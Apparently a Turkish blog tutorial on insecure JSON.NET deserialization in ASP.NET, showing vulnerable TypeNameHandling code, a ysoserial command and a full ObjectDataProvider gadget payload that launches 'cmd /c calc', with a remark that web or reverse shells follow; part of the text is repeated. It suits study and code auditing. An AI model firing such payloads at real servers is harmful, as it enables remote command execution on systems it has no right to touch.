Merhabalar bu yazımda asp.net sitelerde saldırı methodlarını bölüm bölüm anlatacağım. Bu bölümde deserialization attack, injection anlatacağım.
Serialization nedir ve ne için kullanılır?
Kullanıcı tarafından aldığımız nesneyi veya sınıfı saklamak ve istediğimiz formata dönüştürmek için kullanırız.
Deserialize nedir ve ne için kullanılır?
Serialize ettiğimiz nesneyi eski haline yani orjinal hale getirme işlemidir.
Asp.nette nesneleri xml,json,binary olarak serialize edebiliriz.
Json serialize işlemlerinde “TypeNameHandling” json tür bilgisinide nesne ile birlikte alması("$type:System.blablabla") ile birlikte açık ortaya çıkar json serializersettings özelliklerinde All,Auto,Arrays.Objects olarak alınan veriler aynı şekilde açık ortaya çıkartır örnek;
Bir kaç deneme yapıp gönderiyorum
Normal birşey gönderdim ve true döndü ve ip adresini kayıt etti
Unexpected end when reading JSON. Path ‘$type’, line 2, position 12 deserialize yaparken jsonun verisi düzgün olmadığı için 500 bastı.
ysoserial deserialize payload ile deserialize için payload oluşturabiliyoruz bir çok gadgetleri destekliyor.
bununla json.net için bir payload oluşturup gönderelim.
ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c “calc”
bu şekilde sistemde komut çalıştırıp hesap makinesi açar isteğe göre web shell ve reverse shell alınabilir.
Bu sadece json için değildir FastJSON, Json.NET, JavascriptSerializer gibi bir çok kütüphanede bulunabilir.
Kaynak kodda deserialize bulmak için *
Devamı gelecektir…
Ref:
Serialization nedir ve ne için kullanılır?
Kullanıcı tarafından aldığımız nesneyi veya sınıfı saklamak ve istediğimiz formata dönüştürmek için kullanırız.
Deserialize nedir ve ne için kullanılır?
Serialize ettiğimiz nesneyi eski haline yani orjinal hale getirme işlemidir.
Asp.nette nesneleri xml,json,binary olarak serialize edebiliriz.
Json serialize işlemlerinde “TypeNameHandling” json tür bilgisinide nesne ile birlikte alması("$type:System.blablabla") ile birlikte açık ortaya çıkar json serializersettings özelliklerinde All,Auto,Arrays.Objects olarak alınan veriler aynı şekilde açık ortaya çıkartır örnek;
Serialize İşlemi;{
‘$ type’: ‘IpAdd.Models.User, IpAdd’,
Ips: ‘1.1.1.1’,
}
Çıktısı;public class IPAddress
{
public string Ips { get; set; }
}
IPAddress ipadd = new IPAddress
{
Ips = Request.ServerVariables[“HTTP_X_FORWARDED_FOR”]
};
string json = JsonConvert.SerializeObject(ipadd, Formatting.Indented);
Deserialize İşlemi;{
“Ips”: “127.0.0.1”
}
Çıktısı;dynamic obj = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
Basit örnekler bu kadar şimdi karşımıza çıkabilecek bir seneryo üzerinden anlatacağım. Aspx sayfasında bizim ip adresimizi base64 olarak alıp base64 decode ediyor ardından serialize ediyor sonra deserialize edip bir dosya içine kayıt ediyor.127.0.0.1
Bir kaç deneme yapıp gönderiyorum
Normal birşey gönderdim ve true döndü ve ip adresini kayıt etti
Unexpected end when reading JSON. Path ‘$type’, line 2, position 12 deserialize yaparken jsonun verisi düzgün olmadığı için 500 bastı.
ysoserial deserialize payload ile deserialize için payload oluşturabiliyoruz bir çok gadgetleri destekliyor.
bununla json.net için bir payload oluşturup gönderelim.
ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c “calc”
bu şekilde sistemde komut çalıştırıp hesap makinesi açar isteğe göre web shell ve reverse shell alınabilir.
payloadı gönderip çıktıyı görelim.{
‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’,
‘MethodName’:‘Start’,
‘MethodParameters’:{
‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’,
‘$values’:[‘cmd’, ‘/c calc’]
},
‘ObjectInstance’:{’$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’}
}
Bu sadece json için değildir FastJSON, Json.NET, JavascriptSerializer gibi bir çok kütüphanede bulunabilir.
Kaynak kodda deserialize bulmak için *
TypeNameHandling,Json.Net,Newtonsoft.Json,JsonSerializerSettings,Serialization,SimpleTypeResolver,DeserializeObject
arayabilirsiniz.Devamı gelecektir…
Ref:
ObjectDataProvider Class (System.Windows.Data)
Wraps and creates an object that you can use as a binding source.
docs.microsoft.com
ASP.NET Web API'sinde JSON ve XML Serileştirme - ASP.NET 4.x
ASP.NET 4.x için ASP.NET Web API'sindeki JSON ve XML biçimlendiricilerini açıklar.
docs.microsoft.com